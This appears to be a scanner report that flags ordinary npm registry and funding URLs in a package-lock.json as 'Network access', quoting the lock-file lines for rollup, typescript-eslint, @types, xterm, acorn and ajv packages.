    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",       "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM
  • Network accessline 1331
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
  • Network accessline 1343
    "node_modules/@rollup/rollup-linux-s390x-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
  • Network accessline 1344
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",       "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+r
  • Network accessline 1345
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
  • Network accessline 1357
    "node_modules/@rollup/rollup-linux-x64-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
  • Network accessline 1358
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",       "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAk
  • Network accessline 1359
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
  • Network accessline 1371
    "node_modules/@rollup/rollup-linux-x64-musl": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
  • Network accessline 1372
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",       "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyo
  • Network accessline 1373
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
  • Network accessline 1385
    "node_modules/@rollup/rollup-openbsd-x64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
  • Network accessline 1386
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",       "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/j
  • Network accessline 1387
    "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
  • Network accessline 1399
    "node_modules/@rollup/rollup-openharmony-arm64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
  • Network accessline 1400
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",       "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+
  • Network accessline 1401
    "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
  • Network accessline 1413
    "node_modules/@rollup/rollup-win32-arm64-msvc": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
  • Network accessline 1414
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",       "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9g
  • Network accessline 1415
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
  • Network accessline 1427
    "node_modules/@rollup/rollup-win32-ia32-msvc": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
  • Network accessline 1428
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",       "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4
  • Network accessline 1429
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
  • Network accessline 1441
    "node_modules/@rollup/rollup-win32-x64-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
  • Network accessline 1442
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",       "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXi
  • Network accessline 1443
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
  • Network accessline 1455
    "node_modules/@rollup/rollup-win32-x64-msvc": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
  • Network accessline 1456
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",       "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj
  • Network accessline 1457
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
  • Network accessline 1469
    "node_modules/@types/babel__core": {       "version": "7.20.5",       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
  • Network accessline 1470
    "version": "7.20.5",       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",       "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
  • Network accessline 1471
    "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
  • Network accessline 1483
    "node_modules/@types/babel__generator": {       "version": "7.27.0",       "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
  • Network accessline 1484
    "version": "7.27.0",       "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",       "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
  • Network accessline 1485
    "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
  • Network accessline 1493
    "node_modules/@types/babel__template": {       "version": "7.4.4",       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
  • Network accessline 1494
    "version": "7.4.4",       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",       "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
  • Network accessline 1495
    "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
  • Network accessline 1504
    "node_modules/@types/babel__traverse": {       "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
  • Network accessline 1505
    "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",       "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
  • Network accessline 1506
    "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
  • Network accessline 1514
    "node_modules/@types/estree": {       "version": "1.0.8",       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
  • Network accessline 1515
    "version": "1.0.8",       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",       "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
  • Network accessline 1516
    "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
  • Network accessline 1521
    "node_modules/@types/json-schema": {       "version": "7.0.15",       "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
  • Network accessline 1522
    "version": "7.0.15",       "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",       "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
  • Network accessline 1523
    "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
  • Network accessline 1528
    "node_modules/@types/react": {       "version": "19.3.0",       "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz",
  • Network accessline 1529
    "version": "19.3.0",       "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz",       "integrity": "sha512-N0rFCuH9YoxG9/m61l9MfpJKfmLOVU0em7ipIz6TRgSSkvReLB9vL85GB+yr8Bs5leqpvg96JSwF4ZS1s4viQg==",
  • Network accessline 1530
    "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz",
  • Network accessline 1538
    "node_modules/@types/react-dom": {       "version": "19.3.0",       "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.3.0.tgz",
  • Network accessline 1539
    "version": "19.3.0",       "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.3.0.tgz",       "integrity": "sha512-ZI7bU42mZXXKHn/qNLEw2IrbiINU7X5+vfgdixBHkCNpYWXjKgfQ/P+uyGb5CjOLB9UcnTeg3rylQtV2hym44Q==",
  • Network accessline 1540
    "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.3.0.tgz",
  • Network accessline 1548
    "node_modules/@types/trusted-types": {       "version": "2.0.7",       "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
  • Network accessline 1549
    "version": "2.0.7",       "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",       "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==",
  • Network accessline 1550
    "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
  • Network accessline 1556
    "node_modules/@typescript-eslint/eslint-plugin": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.71.0.tgz",
  • Network accessline 1557
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.71.0.tgz",       "integrity": "sha512-pqcS9c1HxZTHt7End4nXqd0s5lJrrFzrgCkKFJrsbUnaL6M3+6oBFZaslg6Gjsl3argl2DDRFROnXARaZ2e4
  • Network accessline 1558
    "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.71.0.tgz",
  • Network accessline 1575
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1576
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1577
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1585
    "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": {       "version": "7.0.10",       "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.10.tgz",
  • Network accessline 1586
    "version": "7.0.10",       "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.10.tgz",       "integrity": "sha512-HpbUakT7xp5miBUywCHf36ZEuAJNklBJDDsGpUIjMzOSmM8ELSfA9Sa/QDPeNeqeoN31u+UTCkL4klCOVvRm4Q==",
  • Network accessline 1587
    "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.10.tgz",
  • Network accessline 1595
    "node_modules/@typescript-eslint/parser": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz",
  • Network accessline 1596
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz",       "integrity": "sha512-CG4nPk1f2zc8yw4pALqHsFYH2hdo+h1T9daSp21+Hnxi9LOE3GT9hAfTKJCBXVNM2GmYs1eMEP615wPoeOgk3A==",
  • Network accessline 1597
    "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz",
  • Network accessline 1611
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1612
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1613
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1620
    "node_modules/@typescript-eslint/project-service": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz",
  • Network accessline 1621
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz",       "integrity": "sha512-aABjw5rjBacYONVPaPiWOCjJu0vEF4a25iQuodlmQYL1trtLZ0X/y+2Vzl3BKI1odM4LnwLE1oUDXYp1
  • Network accessline 1622
    "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz",
  • Network accessline 1634
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1635
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1636
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1642
    "node_modules/@typescript-eslint/scope-manager": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz",
  • Network accessline 1643
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz",       "integrity": "sha512-gWF0BhUcnjZxSpLE8ngS/59n2SB0J3YqRxvX1+2aoRJk9hNtHSLOV+TcarFiOr5ipXm3yc1QrI4c9YZc8zyC
  • Network accessline 1644
    "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz",
  • Network accessline 1655
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1656
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       }
  • Network accessline 1657
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1660
    "node_modules/@typescript-eslint/tsconfig-utils": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz",
  • Network accessline 1661
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz",       "integrity": "sha512-Z1UlWHADEK2Mlb9NpWfDeSjqoZ5EyrOv4R3eQpbkzqn/EwaIdOpXXupEA1+0ZIOSJSZZDBHG0BrQyN8zUG
  • Network accessline 1662
    "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz",
  • Network accessline 1669
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1670
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1671
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1677
    "node_modules/@typescript-eslint/type-utils": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.71.0.tgz",
  • Network accessline 1678
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.71.0.tgz",       "integrity": "sha512-i8uO1qbdxeKgRnS5sCRt6On3/nfo2d2DwQe3Yvjx543zLy7r8ySqRuPPiIIXAhS03U0v5NfAFx+rUgxFzKKwNw==",
  • Network accessline 1679
    "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.71.0.tgz",
  • Network accessline 1693
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1694
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1695
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1702
    "node_modules/@typescript-eslint/types": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz",
  • Network accessline 1703
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz",       "integrity": "sha512-cJ4OoxPGWvFnBTnSZyaU+qJzGTqPTGJY+gDchj6cRyLRdmIdt4rcsE4twj+zPfrNiWuVi38wijHzShL++Z9atQ==",
  • Network accessline 1704
    "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz",
  • Network accessline 1711
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1712
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       }
  • Network accessline 1713
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1716
    "node_modules/@typescript-eslint/typescript-estree": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz",
  • Network accessline 1717
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz",       "integrity": "sha512-PEEF4G5sLLWAS5BpPrUvms4ySZkiBQQZM4z+3ReI46axK5Vqr/vXBQatJQIZZOYdGyPUAKTtsrWz
  • Network accessline 1718
    "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz",
  • Network accessline 1736
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1737
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1738
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1744
    "node_modules/@typescript-eslint/typescript-estree/node_modules/balanced-match": {       "version": "4.0.4",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
  • Network accessline 1745
    "version": "4.0.4",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",       "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
  • Network accessline 1746
    "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
  • Network accessline 1754
    "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {       "version": "5.0.12",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz",
  • Network accessline 1755
    "version": "5.0.12",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz",       "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==",
  • Network accessline 1756
    "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz",
  • Network accessline 1767
    "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {       "version": "10.2.6",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz",
  • Network accessline 1768
    "version": "10.2.6",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz",       "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==",
  • Network accessline 1769
    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz",
  • Network accessline 1778
    },       "funding": {         "url": "https://github.com/sponsors/isaacs"
  • Network accessline 1779
    "funding": {         "url": "https://github.com/sponsors/isaacs"       }
  • Network accessline 1780
    "url": "https://github.com/sponsors/isaacs"
  • Network accessline 1783
    "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": {       "version": "7.8.5",       "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz",
  • Network accessline 1784
    "version": "7.8.5",       "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz",       "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==",
  • Network accessline 1785
    "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz",
  • Network accessline 1796
    "node_modules/@typescript-eslint/utils": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.71.0.tgz",
  • Network accessline 1797
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.71.0.tgz",       "integrity": "sha512-pKR/tEMVrXZG23UFKUn5BQf3zfmfk7KQceI2cGzywZ5nxM5Eu3hEJU1utjWzydtzBbcJAQhHN8iPCxobHpPcZQ==",
  • Network accessline 1798
    "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.71.0.tgz",
  • Network accessline 1811
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1812
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 1813
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1820
    "node_modules/@typescript-eslint/visitor-keys": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz",
  • Network accessline 1821
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz",       "integrity": "sha512-8eQ9R218XORK+KLosnf4bu/QsUXvUyVwTbArg7/0NMB1Pu87OJKvj4nhFblkYE8gQV73mW1dx1ptlPCkwRGa7A
  • Network accessline 1822
    "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz",
  • Network accessline 1833
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1834
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       }
  • Network accessline 1835
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 1838
    "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz",
  • Network accessline 1839
    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz",       "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==",
  • Network accessline 1840
    "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz",
  • Network accessline 1846
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 1847
    "funding": {         "url": "https://opencollective.com/eslint"       }
  • Network accessline 1848
    "url": "https://opencollective.com/eslint"
  • Network accessline 1851
    "node_modules/@vitejs/plugin-react": {       "version": "4.7.0",       "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",
  • Network accessline 1852
    "version": "4.7.0",       "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",       "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==",
  • Network accessline 1853
    "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",
  • Network accessline 1872
    "node_modules/@xterm/addon-fit": {       "version": "0.11.0",       "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz",
  • Network accessline 1873
    "version": "0.11.0",       "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz",       "integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==",
  • Network accessline 1874
    "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz",
  • Network accessline 1878
    "node_modules/@xterm/addon-web-links": {       "version": "0.12.0",       "resolved": "https://registry.npmjs.org/@xterm/addon-web-links/-/addon-web-links-0.12.0.tgz",
  • Network accessline 1879
    "version": "0.12.0",       "resolved": "https://registry.npmjs.org/@xterm/addon-web-links/-/addon-web-links-0.12.0.tgz",       "integrity": "sha512-4Smom3RPyVp7ZMYOYDoC/9eGJJJqYhnPLGGqJ6wOBfB8VxPViJNSKdgRYb8NpaM6YSelEKbA2SStD7lGyqaobw==",
  • Network accessline 1880
    "resolved": "https://registry.npmjs.org/@xterm/addon-web-links/-/addon-web-links-0.12.0.tgz",
  • Network accessline 1884
    "node_modules/@xterm/xterm": {       "version": "6.0.0",       "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz",
  • Network accessline 1885
    "version": "6.0.0",       "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz",       "integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==",
  • Network accessline 1886
    "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz",
  • Network accessline 1893
    "node_modules/acorn": {       "version": "8.16.0",       "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz",
  • Network accessline 1894
    "version": "8.16.0",       "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz",       "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==",
  • Network accessline 1895
    "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz",
  • Network accessline 1906
    "node_modules/acorn-jsx": {       "version": "5.3.2",       "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
  • Network accessline 1907
    "version": "5.3.2",       "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",       "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
  • Network accessline 1908
    "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
  • Network accessline 1916
    "node_modules/ajv": {       "version": "6.14.0",       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
  • Network accessline 1917
    "version": "6.14.0",       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",       "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==",
  • Network accessline 1918
    "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
  • Network accessline 1928
